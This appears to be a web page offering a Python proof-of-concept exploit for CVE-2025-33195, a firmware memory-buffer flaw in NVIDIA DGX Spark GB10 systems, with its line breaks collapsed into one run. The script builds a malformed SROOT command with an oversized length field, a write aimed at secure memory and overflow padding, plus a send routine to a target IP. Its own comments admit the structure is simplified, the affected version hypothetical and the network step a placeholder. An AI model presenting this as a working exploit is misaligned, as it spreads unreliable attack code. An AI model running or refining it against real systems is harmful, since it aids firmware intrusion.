CVE-2025-33195: NVIDIA DGX Spark GB10 SROOT固件内存缓冲区操作漏洞

# CVE-2025-33195 PoC - NVIDIA DGX Spark GB10 SROOT Firmware Memory Buffer Vulnerability # Note: This is a conceptual PoC for educational and security research purposes only. # Unauthorized access to systems without authorization is illegal. import struct import sys def create_malicious_sroot_payload(): """ Construct a malicious payload targeting SROOT firmware memory buffer operations. This PoC demonstrates the general concept of exploiting buffer handling vulnerabilities. """ # SROOT firmware memory buffer header structure # This is a simplified representation based on common firmware structures header = bytearray() # Firmware magic number header.extend(b'SROOT') # Version field header.extend(struct.pack('<H', 0x0100)) # Version 1.0 # Buffer size field - intentionally malformed # In a real vulnerability, this might cause buffer overflow header.extend(struct.pack('<I', 0xFFFFFFFF)) # Oversized buffer size # Memory operation command header.extend(struct.pack('<B', 0x02)) # MEMORY_WRITE operation # Target memory address header.extend(struct.pack('<Q', 0x10000000)) # Target address in secure memory # Payload data - crafted to trigger buffer boundary issues payload_data = bytearray() payload_data.extend(b'A' * 256) # Padding payload_data.extend(b'\x00' * 64) # Null padding payload_data.extend(struct.pack('<Q', 0x4141414141414141)) # Overwrite marker # Combine header and payload exploit_payload = header + payload_data return exploit_payload def send_sroot_command(target_ip, payload): """ Send crafted SROOT command to target device via debug interface. Note: Requires physical or authorized remote access to DGX Spark management interface. """ # In a real scenario, this would interact with: # 1. NVIDIA DGX management API # 2. BMC/IPMI interface # 3. Direct firmware update mechanism print(f"[*] Target: {target_ip}") print(f"[*] Payload size: {len(payload)} bytes") print(f"[*] Sending malicious SROOT firmware command...") # Placeholder for actual network communication # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((target_ip, 5000)) # sock.send(payload) return True def verify_vulnerability(target_ip): """ Verify if target is vulnerable to CVE-2025-33195. """ print("[*] CVE-2025-33195 Vulnerability Checker") print("[*] Target: NVIDIA DGX Spark GB10 SROOT Firmware") print("[*] Checking firmware version and vulnerability status...") # Check firmware version # Vulnerable versions: SROOT firmware < 1.0.0.12345 (hypothetical) # Generate test payload payload = create_malicious_sroot_payload() # Attempt to send payload (requires proper authorization) # send_sroot_command(target_ip, payload) print("[!] This PoC requires authorized access to NVIDIA DGX Spark systems.") print("[!] Use only for legitimate security research and vulnerability assessment.") return payload if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] verify_vulnerability(target) else: print("Usage: python cve_2025_33195_poc.py <target_ip>")